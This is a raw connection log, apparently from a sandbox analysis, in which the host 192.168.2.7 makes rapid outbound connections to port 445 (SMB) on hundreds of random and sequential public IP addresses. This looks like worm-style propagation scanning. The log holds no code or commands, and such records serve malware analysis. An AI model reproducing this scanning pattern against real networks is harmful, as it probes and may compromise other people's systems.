Jul 20, 2022 15:47:43.010576963 CEST	63578	445	192.168.2.7	173.169.159.236
Jul 20, 2022 15:47:43.011214018 CEST	63583	445	192.168.2.7	143.143.228.202
Jul 20, 2022 15:47:43.011620045 CEST	63587	445	192.168.2.7	97.119.26.108
Jul 20, 2022 15:47:43.012181044 CEST	63592	445	192.168.2.7	211.78.171.93
Jul 20, 2022 15:47:43.012423992 CEST	63594	445	192.168.2.7	142.100.193.132
Jul 20, 2022 15:47:43.012677908 CEST	63596	445	192.168.2.7	25.167.54.133
Jul 20, 2022 15:47:43.012986898 CEST	63599	445	192.168.2.7	53.224.228.45
Jul 20, 2022 15:47:43.013107061 CEST	63600	445	192.168.2.7	105.145.231.147
Jul 20, 2022 15:47:43.013585091 CEST	63604	445	192.168.2.7	146.190.9.18
Jul 20, 2022 15:47:43.013909101 CEST	63608	445	192.168.2.7	135.230.92.141
Jul 20, 2022 15:47:43.014120102 CEST	63610	445	192.168.2.7	141.238.101.231
Jul 20, 2022 15:47:43.014420986 CEST	63613	445	192.168.2.7	39.46.254.6
Jul 20, 2022 15:47:43.014528990 CEST	63614	445	192.168.2.7	141.150.178.133
Jul 20, 2022 15:47:43.014831066 CEST	63617	445	192.168.2.7	222.244.196.111
Jul 20, 2022 15:47:43.015403986 CEST	63624	445	192.168.2.7	213.90.169.9
Jul 20, 2022 15:47:43.099678040 CEST	445	63524	149.51.30.205	192.168.2.7
Jul 20, 2022 15:47:43.429555893 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:43.522759914 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:43.523753881 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:43.523777008 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:43.602469921 CEST	63524	445	192.168.2.7	149.51.30.205
Jul 20, 2022 15:47:43.614742994 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:43.618681908 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:43.620742083 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:43.710576057 CEST	445	63524	149.51.30.205	192.168.2.7
Jul 20, 2022 15:47:43.714818001 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:43.756550074 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:44.224508047 CEST	63524	445	192.168.2.7	149.51.30.205
Jul 20, 2022 15:47:44.256711960 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:44.330652952 CEST	445	63524	149.51.30.205	192.168.2.7
Jul 20, 2022 15:47:44.350852966 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:44.350986958 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:44.366027117 CEST	63641	445	192.168.2.7	205.4.101.134
Jul 20, 2022 15:47:44.366317034 CEST	63644	445	192.168.2.7	2.105.102.112
Jul 20, 2022 15:47:44.366882086 CEST	63650	445	192.168.2.7	122.43.18.197
Jul 20, 2022 15:47:44.367010117 CEST	63651	445	192.168.2.7	49.234.210.86
Jul 20, 2022 15:47:44.367485046 CEST	63656	445	192.168.2.7	98.217.22.50
Jul 20, 2022 15:47:44.367595911 CEST	63657	445	192.168.2.7	194.2.122.206
Jul 20, 2022 15:47:44.370249987 CEST	63684	445	192.168.2.7	109.170.34.170
Jul 20, 2022 15:47:44.370728016 CEST	63689	445	192.168.2.7	214.214.200.123
Jul 20, 2022 15:47:44.371126890 CEST	63693	445	192.168.2.7	166.0.243.173
Jul 20, 2022 15:47:44.371622086 CEST	63698	445	192.168.2.7	211.190.163.125
Jul 20, 2022 15:47:44.371813059 CEST	63700	445	192.168.2.7	89.254.89.84
Jul 20, 2022 15:47:44.372000933 CEST	63702	445	192.168.2.7	75.233.52.90
Jul 20, 2022 15:47:44.372298002 CEST	63705	445	192.168.2.7	222.220.225.78
Jul 20, 2022 15:47:44.372396946 CEST	63706	445	192.168.2.7	198.169.58.10
Jul 20, 2022 15:47:44.372767925 CEST	63710	445	192.168.2.7	41.251.14.108
Jul 20, 2022 15:47:44.373204947 CEST	63714	445	192.168.2.7	49.224.95.181
Jul 20, 2022 15:47:44.373370886 CEST	63716	445	192.168.2.7	126.130.130.184
Jul 20, 2022 15:47:44.373691082 CEST	63719	445	192.168.2.7	151.7.201.167
Jul 20, 2022 15:47:44.373826027 CEST	63720	445	192.168.2.7	183.119.125.62
Jul 20, 2022 15:47:44.374154091 CEST	63723	445	192.168.2.7	117.169.180.124
Jul 20, 2022 15:47:44.374830008 CEST	63730	445	192.168.2.7	147.211.123.232
Jul 20, 2022 15:47:44.375127077 CEST	63733	445	192.168.2.7	162.145.189.53
Jul 20, 2022 15:47:44.375241995 CEST	63734	445	192.168.2.7	77.95.67.143
Jul 20, 2022 15:47:44.375474930 CEST	63736	445	192.168.2.7	38.82.38.59
Jul 20, 2022 15:47:44.376329899 CEST	63745	445	192.168.2.7	117.246.203.158
Jul 20, 2022 15:47:44.376733065 CEST	63749	445	192.168.2.7	50.72.60.112
Jul 20, 2022 15:47:44.376931906 CEST	63751	445	192.168.2.7	193.223.250.207
Jul 20, 2022 15:47:44.377317905 CEST	63755	445	192.168.2.7	185.88.250.162
Jul 20, 2022 15:47:44.441287994 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:44.441407919 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:44.513076067 CEST	63758	445	192.168.2.7	188.18.139.124
Jul 20, 2022 15:47:44.530674934 CEST	445	63633	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:44.530787945 CEST	63633	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:46.400717974 CEST	63762	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:46.443766117 CEST	63763	445	192.168.2.7	188.18.139.125
Jul 20, 2022 15:47:46.491879940 CEST	63766	445	192.168.2.7	220.81.69.41
Jul 20, 2022 15:47:46.492014885 CEST	63767	445	192.168.2.7	11.122.196.153
Jul 20, 2022 15:47:46.492376089 CEST	63770	445	192.168.2.7	9.69.161.119
Jul 20, 2022 15:47:46.539669991 CEST	63777	445	192.168.2.7	132.174.23.221
Jul 20, 2022 15:47:46.540147066 CEST	63780	445	192.168.2.7	70.80.101.252
Jul 20, 2022 15:47:46.540342093 CEST	63781	445	192.168.2.7	193.97.193.12
Jul 20, 2022 15:47:46.540678024 CEST	63783	445	192.168.2.7	99.79.73.10
Jul 20, 2022 15:47:46.541841984 CEST	63792	445	192.168.2.7	118.56.147.25
Jul 20, 2022 15:47:46.542445898 CEST	63796	445	192.168.2.7	80.39.64.140
Jul 20, 2022 15:47:46.542767048 CEST	63798	445	192.168.2.7	145.141.85.219
Jul 20, 2022 15:47:46.543329000 CEST	63802	445	192.168.2.7	53.189.180.161
Jul 20, 2022 15:47:46.545074940 CEST	63816	445	192.168.2.7	88.1.2.244
Jul 20, 2022 15:47:46.545728922 CEST	63821	445	192.168.2.7	24.185.230.220
Jul 20, 2022 15:47:46.546241045 CEST	63825	445	192.168.2.7	47.94.234.118
Jul 20, 2022 15:47:46.546854019 CEST	63830	445	192.168.2.7	186.72.238.81
Jul 20, 2022 15:47:46.547182083 CEST	63832	445	192.168.2.7	94.129.174.210
Jul 20, 2022 15:47:46.547645092 CEST	63834	445	192.168.2.7	158.22.46.143
Jul 20, 2022 15:47:46.548307896 CEST	63837	445	192.168.2.7	126.14.26.244
Jul 20, 2022 15:47:46.548500061 CEST	63838	445	192.168.2.7	182.212.205.182
Jul 20, 2022 15:47:46.548826933 CEST	63842	445	192.168.2.7	25.187.7.204
Jul 20, 2022 15:47:46.549073935 CEST	63845	445	192.168.2.7	16.117.243.168
Jul 20, 2022 15:47:46.549261093 CEST	63848	445	192.168.2.7	154.53.222.99
Jul 20, 2022 15:47:46.549865961 CEST	63857	445	192.168.2.7	97.208.185.180
Jul 20, 2022 15:47:46.550045967 CEST	63860	445	192.168.2.7	24.24.247.230
Jul 20, 2022 15:47:46.550472975 CEST	63866	445	192.168.2.7	2.183.169.228
Jul 20, 2022 15:47:46.550764084 CEST	63867	445	192.168.2.7	131.208.101.5
Jul 20, 2022 15:47:46.550893068 CEST	63872	445	192.168.2.7	152.182.236.7
Jul 20, 2022 15:47:46.550899982 CEST	63873	445	192.168.2.7	63.9.250.134
Jul 20, 2022 15:47:46.553828001 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.553874016 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.554078102 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.555190086 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.555217028 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.572578907 CEST	445	63762	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:46.572716951 CEST	63762	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:46.573134899 CEST	63762	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:46.650610924 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.650751114 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.687763929 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.687793016 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.688214064 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.690675974 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.690748930 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.690762043 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.690927982 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.719710112 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.719785929 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.719846010 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.719952106 CEST	63887	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:47:46.719973087 CEST	443	63887	20.199.120.85	192.168.2.7
Jul 20, 2022 15:47:46.745532990 CEST	445	63762	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:46.745681047 CEST	63762	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:46.916511059 CEST	445	63762	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:46.916685104 CEST	63762	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:47.091082096 CEST	445	63762	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:47.147217035 CEST	63888	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.318177938 CEST	445	63888	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.318300962 CEST	63888	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.318833113 CEST	63888	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.322793961 CEST	63889	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.489206076 CEST	445	63888	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.489231110 CEST	445	63888	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.492253065 CEST	445	63889	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.492530107 CEST	63889	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.492568016 CEST	63889	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.507260084 CEST	63890	445	192.168.2.7	188.18.139.126
Jul 20, 2022 15:47:47.600567102 CEST	63894	445	192.168.2.7	64.165.215.194
Jul 20, 2022 15:47:47.600697041 CEST	63895	445	192.168.2.7	48.40.240.172
Jul 20, 2022 15:47:47.600882053 CEST	63896	445	192.168.2.7	142.4.113.96
Jul 20, 2022 15:47:47.647502899 CEST	63901	445	192.168.2.7	47.46.99.61
Jul 20, 2022 15:47:47.647882938 CEST	63904	445	192.168.2.7	47.218.234.182
Jul 20, 2022 15:47:47.648000956 CEST	63905	445	192.168.2.7	31.42.156.199
Jul 20, 2022 15:47:47.648403883 CEST	63910	445	192.168.2.7	66.47.227.55
Jul 20, 2022 15:47:47.648761988 CEST	63915	445	192.168.2.7	123.10.171.243
Jul 20, 2022 15:47:47.649846077 CEST	63934	445	192.168.2.7	61.239.218.212
Jul 20, 2022 15:47:47.650048971 CEST	63938	445	192.168.2.7	104.97.139.122
Jul 20, 2022 15:47:47.650089979 CEST	63939	445	192.168.2.7	139.134.127.17
Jul 20, 2022 15:47:47.650222063 CEST	63920	445	192.168.2.7	123.169.19.82
Jul 20, 2022 15:47:47.650310993 CEST	63943	445	192.168.2.7	12.195.131.93
Jul 20, 2022 15:47:47.650782108 CEST	63951	445	192.168.2.7	33.53.21.55
Jul 20, 2022 15:47:47.651036978 CEST	63955	445	192.168.2.7	78.72.205.24
Jul 20, 2022 15:47:47.651179075 CEST	63956	445	192.168.2.7	19.234.54.121
Jul 20, 2022 15:47:47.651258945 CEST	63957	445	192.168.2.7	73.32.219.156
Jul 20, 2022 15:47:47.652388096 CEST	63974	445	192.168.2.7	107.58.39.64
Jul 20, 2022 15:47:47.652757883 CEST	63980	445	192.168.2.7	206.114.66.29
Jul 20, 2022 15:47:47.652787924 CEST	63975	445	192.168.2.7	14.209.208.145
Jul 20, 2022 15:47:47.652833939 CEST	63981	445	192.168.2.7	131.91.244.70
Jul 20, 2022 15:47:47.653290987 CEST	63988	445	192.168.2.7	142.90.83.0
Jul 20, 2022 15:47:47.653482914 CEST	63986	445	192.168.2.7	89.137.141.245
Jul 20, 2022 15:47:47.653836966 CEST	63999	445	192.168.2.7	83.132.212.83
Jul 20, 2022 15:47:47.653934002 CEST	64000	445	192.168.2.7	82.97.62.135
Jul 20, 2022 15:47:47.654081106 CEST	64003	445	192.168.2.7	134.88.97.55
Jul 20, 2022 15:47:47.654390097 CEST	64008	445	192.168.2.7	151.81.127.138
Jul 20, 2022 15:47:47.654515982 CEST	64010	445	192.168.2.7	29.66.210.175
Jul 20, 2022 15:47:47.663960934 CEST	445	63889	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.664247036 CEST	63889	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:47.794995070 CEST	445	63896	142.4.113.96	192.168.2.7
Jul 20, 2022 15:47:47.834187031 CEST	445	63889	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:47.836854935 CEST	63889	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:48.006720066 CEST	445	63889	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:48.459203959 CEST	63896	445	192.168.2.7	142.4.113.96
Jul 20, 2022 15:47:48.584783077 CEST	64015	445	192.168.2.7	188.18.139.127
Jul 20, 2022 15:47:48.726344109 CEST	64021	445	192.168.2.7	99.206.228.157
Jul 20, 2022 15:47:48.726567030 CEST	64024	445	192.168.2.7	165.83.165.246
Jul 20, 2022 15:47:48.726901054 CEST	64025	445	192.168.2.7	166.87.96.238
Jul 20, 2022 15:47:48.773478031 CEST	64031	445	192.168.2.7	103.60.119.121
Jul 20, 2022 15:47:48.773556948 CEST	64033	445	192.168.2.7	171.225.163.5
Jul 20, 2022 15:47:48.773741007 CEST	64036	445	192.168.2.7	13.39.71.13
Jul 20, 2022 15:47:48.774393082 CEST	64049	445	192.168.2.7	88.175.188.59
Jul 20, 2022 15:47:48.774405956 CEST	64050	445	192.168.2.7	51.102.166.22
Jul 20, 2022 15:47:48.774732113 CEST	64055	445	192.168.2.7	31.169.221.210
Jul 20, 2022 15:47:48.774826050 CEST	64057	445	192.168.2.7	190.148.60.73
Jul 20, 2022 15:47:48.775146961 CEST	64061	445	192.168.2.7	13.47.62.231
Jul 20, 2022 15:47:48.775360107 CEST	64063	445	192.168.2.7	74.17.100.151
Jul 20, 2022 15:47:48.775763035 CEST	64073	445	192.168.2.7	193.216.81.0
Jul 20, 2022 15:47:48.775887012 CEST	64075	445	192.168.2.7	37.23.231.166
Jul 20, 2022 15:47:48.776108027 CEST	64079	445	192.168.2.7	193.165.105.223
Jul 20, 2022 15:47:48.776345015 CEST	64083	445	192.168.2.7	51.242.23.31
Jul 20, 2022 15:47:48.776437998 CEST	64085	445	192.168.2.7	1.200.38.5
Jul 20, 2022 15:47:48.776845932 CEST	64091	445	192.168.2.7	204.0.216.154
Jul 20, 2022 15:47:48.777061939 CEST	64095	445	192.168.2.7	132.47.218.227
Jul 20, 2022 15:47:48.777201891 CEST	64097	445	192.168.2.7	215.210.185.32
Jul 20, 2022 15:47:48.777375937 CEST	64100	445	192.168.2.7	125.133.107.202
Jul 20, 2022 15:47:48.777750969 CEST	64107	445	192.168.2.7	165.78.105.82
Jul 20, 2022 15:47:48.777889013 CEST	64110	445	192.168.2.7	144.232.179.209
Jul 20, 2022 15:47:48.778188944 CEST	64116	445	192.168.2.7	5.77.146.89
Jul 20, 2022 15:47:48.778354883 CEST	64120	445	192.168.2.7	112.158.125.95
Jul 20, 2022 15:47:48.778479099 CEST	64121	445	192.168.2.7	207.97.14.121
Jul 20, 2022 15:47:48.779159069 CEST	64135	445	192.168.2.7	165.137.54.247
Jul 20, 2022 15:47:48.779378891 CEST	64139	445	192.168.2.7	186.9.122.178
Jul 20, 2022 15:47:48.874475956 CEST	445	64075	37.23.231.166	192.168.2.7
Jul 20, 2022 15:47:48.874633074 CEST	64075	445	192.168.2.7	37.23.231.166
Jul 20, 2022 15:47:48.874700069 CEST	64075	445	192.168.2.7	37.23.231.166
Jul 20, 2022 15:47:48.874941111 CEST	64141	445	192.168.2.7	37.23.231.1
Jul 20, 2022 15:47:48.890347958 CEST	445	64116	5.77.146.89	192.168.2.7
Jul 20, 2022 15:47:48.974416971 CEST	445	64075	37.23.231.166	192.168.2.7
Jul 20, 2022 15:47:48.982362032 CEST	445	64075	37.23.231.166	192.168.2.7
Jul 20, 2022 15:47:48.982458115 CEST	64075	445	192.168.2.7	37.23.231.166
Jul 20, 2022 15:47:49.396823883 CEST	64116	445	192.168.2.7	5.77.146.89
Jul 20, 2022 15:47:49.500356913 CEST	445	64116	5.77.146.89	192.168.2.7
Jul 20, 2022 15:47:49.663415909 CEST	64142	445	192.168.2.7	188.18.139.128
Jul 20, 2022 15:47:49.850483894 CEST	64147	445	192.168.2.7	59.65.186.224
Jul 20, 2022 15:47:49.850733995 CEST	64151	445	192.168.2.7	161.145.209.31
Jul 20, 2022 15:47:49.851464987 CEST	64152	445	192.168.2.7	56.21.106.57
Jul 20, 2022 15:47:49.897833109 CEST	64155	445	192.168.2.7	89.76.140.37
Jul 20, 2022 15:47:49.898643970 CEST	64161	445	192.168.2.7	135.40.143.61
Jul 20, 2022 15:47:49.899008989 CEST	64167	445	192.168.2.7	161.64.154.202
Jul 20, 2022 15:47:49.899147034 CEST	64169	445	192.168.2.7	84.163.246.137
Jul 20, 2022 15:47:49.899537086 CEST	64173	445	192.168.2.7	123.111.143.208
Jul 20, 2022 15:47:49.899595022 CEST	64175	445	192.168.2.7	2.180.194.45
Jul 20, 2022 15:47:49.900145054 CEST	64182	445	192.168.2.7	44.203.151.126
Jul 20, 2022 15:47:49.900413990 CEST	64185	445	192.168.2.7	155.182.88.51
Jul 20, 2022 15:47:49.900834084 CEST	64159	445	192.168.2.7	24.37.169.175
Jul 20, 2022 15:47:49.900881052 CEST	64192	445	192.168.2.7	152.235.220.179
Jul 20, 2022 15:47:49.901015043 CEST	64194	445	192.168.2.7	61.246.145.179
Jul 20, 2022 15:47:49.901324987 CEST	64197	445	192.168.2.7	57.87.189.29
Jul 20, 2022 15:47:49.902128935 CEST	64211	445	192.168.2.7	80.148.188.36
Jul 20, 2022 15:47:49.903024912 CEST	64219	445	192.168.2.7	122.23.92.75
Jul 20, 2022 15:47:49.903215885 CEST	64214	445	192.168.2.7	34.22.192.206
Jul 20, 2022 15:47:49.903517962 CEST	64221	445	192.168.2.7	154.148.62.219
Jul 20, 2022 15:47:49.903518915 CEST	64225	445	192.168.2.7	208.149.32.101
Jul 20, 2022 15:47:49.903671980 CEST	64227	445	192.168.2.7	140.211.61.146
Jul 20, 2022 15:47:49.903781891 CEST	64228	445	192.168.2.7	37.32.213.137
Jul 20, 2022 15:47:49.904565096 CEST	64239	445	192.168.2.7	140.206.29.52
Jul 20, 2022 15:47:49.904973984 CEST	64247	445	192.168.2.7	68.110.150.47
Jul 20, 2022 15:47:49.905056000 CEST	64242	445	192.168.2.7	7.187.78.103
Jul 20, 2022 15:47:49.905247927 CEST	64253	445	192.168.2.7	204.224.31.85
Jul 20, 2022 15:47:49.905821085 CEST	64264	445	192.168.2.7	10.252.21.52
Jul 20, 2022 15:47:49.944103003 CEST	64266	445	192.168.2.7	37.23.231.2
Jul 20, 2022 15:47:50.741075993 CEST	64267	445	192.168.2.7	188.18.139.129
Jul 20, 2022 15:47:50.976128101 CEST	64271	445	192.168.2.7	140.93.201.175
Jul 20, 2022 15:47:50.976331949 CEST	64276	445	192.168.2.7	179.119.109.7
Jul 20, 2022 15:47:50.976434946 CEST	64277	445	192.168.2.7	78.183.194.178
Jul 20, 2022 15:47:51.022582054 CEST	64284	445	192.168.2.7	56.32.162.61
Jul 20, 2022 15:47:51.022763968 CEST	64287	445	192.168.2.7	22.111.164.53
Jul 20, 2022 15:47:51.022888899 CEST	64291	445	192.168.2.7	1.37.22.66
Jul 20, 2022 15:47:51.023010969 CEST	64294	445	192.168.2.7	188.189.163.99
Jul 20, 2022 15:47:51.023184061 CEST	64298	445	192.168.2.7	117.85.233.179
Jul 20, 2022 15:47:51.023293972 CEST	64300	445	192.168.2.7	65.232.245.50
Jul 20, 2022 15:47:51.023307085 CEST	64301	445	192.168.2.7	155.236.11.220
Jul 20, 2022 15:47:51.024086952 CEST	64313	445	192.168.2.7	108.76.166.95
Jul 20, 2022 15:47:51.024175882 CEST	64315	445	192.168.2.7	77.31.17.8
Jul 20, 2022 15:47:51.024450064 CEST	64321	445	192.168.2.7	20.150.155.95
Jul 20, 2022 15:47:51.024772882 CEST	64325	445	192.168.2.7	160.230.155.199
Jul 20, 2022 15:47:51.025269985 CEST	64336	445	192.168.2.7	48.253.44.229
Jul 20, 2022 15:47:51.025408983 CEST	64339	445	192.168.2.7	37.23.231.3
Jul 20, 2022 15:47:51.025484085 CEST	64340	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:51.025685072 CEST	64343	445	192.168.2.7	13.86.190.20
Jul 20, 2022 15:47:51.025775909 CEST	64344	445	192.168.2.7	106.198.121.210
Jul 20, 2022 15:47:51.026216984 CEST	64350	445	192.168.2.7	221.89.43.19
Jul 20, 2022 15:47:51.026420116 CEST	64354	445	192.168.2.7	156.182.55.254
Jul 20, 2022 15:47:51.026496887 CEST	64356	445	192.168.2.7	48.205.253.49
Jul 20, 2022 15:47:51.026884079 CEST	64361	445	192.168.2.7	181.234.230.185
Jul 20, 2022 15:47:51.026958942 CEST	64363	445	192.168.2.7	130.16.214.191
Jul 20, 2022 15:47:51.027235985 CEST	64370	445	192.168.2.7	184.213.187.247
Jul 20, 2022 15:47:51.027380943 CEST	64373	445	192.168.2.7	81.112.243.189
Jul 20, 2022 15:47:51.027656078 CEST	64380	445	192.168.2.7	150.214.168.50
Jul 20, 2022 15:47:51.027776957 CEST	64382	445	192.168.2.7	15.81.180.208
Jul 20, 2022 15:47:51.027960062 CEST	64386	445	192.168.2.7	97.24.204.20
Jul 20, 2022 15:47:51.194572926 CEST	445	64340	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:51.194761992 CEST	64340	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:51.196536064 CEST	64340	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:51.365529060 CEST	445	64340	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:51.366168976 CEST	64340	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:51.444540024 CEST	64393	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:51.535238981 CEST	445	64340	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:51.535463095 CEST	64340	445	192.168.2.7	107.186.141.57
Jul 20, 2022 15:47:51.609152079 CEST	445	64393	149.20.139.5	192.168.2.7
Jul 20, 2022 15:47:51.611323118 CEST	64393	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:51.704441071 CEST	445	64340	107.186.141.57	192.168.2.7
Jul 20, 2022 15:47:51.756951094 CEST	64394	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:51.775901079 CEST	445	64393	149.20.139.5	192.168.2.7
Jul 20, 2022 15:47:51.819256067 CEST	64395	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.834804058 CEST	64396	445	192.168.2.7	149.20.139.6
Jul 20, 2022 15:47:51.907047987 CEST	445	64395	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:51.907181978 CEST	64395	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.907224894 CEST	64395	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.907566071 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.928251982 CEST	445	64394	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:51.928381920 CEST	64394	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:51.928491116 CEST	64394	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:51.929368019 CEST	64398	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:51.991066933 CEST	445	64395	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:51.993091106 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:51.993293047 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.993333101 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:51.999017954 CEST	445	64395	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:51.999226093 CEST	64395	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:52.077089071 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.085078001 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.085949898 CEST	64397	445	192.168.2.7	188.18.139.130
Jul 20, 2022 15:47:52.099210024 CEST	445	64394	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.099231958 CEST	445	64394	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.100079060 CEST	445	64398	107.186.141.58	192.168.2.7
Jul 20, 2022 15:47:52.100243092 CEST	64398	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:52.100635052 CEST	64398	445	192.168.2.7	107.186.141.58
Jul 20, 2022 15:47:52.101022005 CEST	64402	445	192.168.2.7	73.128.204.95
Jul 20, 2022 15:47:52.101281881 CEST	64407	445	192.168.2.7	200.118.39.210
Jul 20, 2022 15:47:52.101413965 CEST	64408	445	192.168.2.7	219.52.4.50
Jul 20, 2022 15:47:52.101520061 CEST	64409	445	192.168.2.7	37.23.231.4
Jul 20, 2022 15:47:52.147537947 CEST	64414	445	192.168.2.7	222.15.78.101
Jul 20, 2022 15:47:52.148215055 CEST	64429	445	192.168.2.7	93.227.157.245
Jul 20, 2022 15:47:52.148289919 CEST	64424	445	192.168.2.7	44.120.145.76
Jul 20, 2022 15:47:52.148505926 CEST	64435	445	192.168.2.7	23.41.76.195
Jul 20, 2022 15:47:52.148582935 CEST	64436	445	192.168.2.7	94.70.85.236
Jul 20, 2022 15:47:52.149385929 CEST	64448	445	192.168.2.7	64.147.227.240
Jul 20, 2022 15:47:52.149496078 CEST	64450	445	192.168.2.7	192.209.152.240
Jul 20, 2022 15:47:52.149532080 CEST	64451	445	192.168.2.7	50.232.4.253
Jul 20, 2022 15:47:52.149898052 CEST	64456	445	192.168.2.7	125.17.24.203
Jul 20, 2022 15:47:52.149971008 CEST	64457	445	192.168.2.7	135.168.98.242
Jul 20, 2022 15:47:52.150279045 CEST	64460	445	192.168.2.7	45.27.129.169
Jul 20, 2022 15:47:52.150577068 CEST	64466	445	192.168.2.7	65.214.93.40
Jul 20, 2022 15:47:52.151509047 CEST	64478	445	192.168.2.7	190.162.193.136
Jul 20, 2022 15:47:52.151532888 CEST	64482	445	192.168.2.7	176.178.89.194
Jul 20, 2022 15:47:52.152350903 CEST	64495	445	192.168.2.7	182.49.62.227
Jul 20, 2022 15:47:52.152457952 CEST	64484	445	192.168.2.7	28.60.222.70
Jul 20, 2022 15:47:52.152513981 CEST	64489	445	192.168.2.7	173.119.86.180
Jul 20, 2022 15:47:52.152767897 CEST	64500	445	192.168.2.7	102.84.83.159
Jul 20, 2022 15:47:52.152878046 CEST	64502	445	192.168.2.7	160.117.18.89
Jul 20, 2022 15:47:52.153158903 CEST	64508	445	192.168.2.7	154.173.9.119
Jul 20, 2022 15:47:52.153285980 CEST	64509	445	192.168.2.7	81.65.248.129
Jul 20, 2022 15:47:52.153630972 CEST	64514	445	192.168.2.7	154.195.72.169
Jul 20, 2022 15:47:52.154000998 CEST	64522	445	192.168.2.7	101.172.49.35
Jul 20, 2022 15:47:52.154005051 CEST	64521	445	192.168.2.7	25.88.201.249
Jul 20, 2022 15:47:52.173084974 CEST	445	64397	188.18.139.130	192.168.2.7
Jul 20, 2022 15:47:52.173249960 CEST	64397	445	192.168.2.7	188.18.139.130
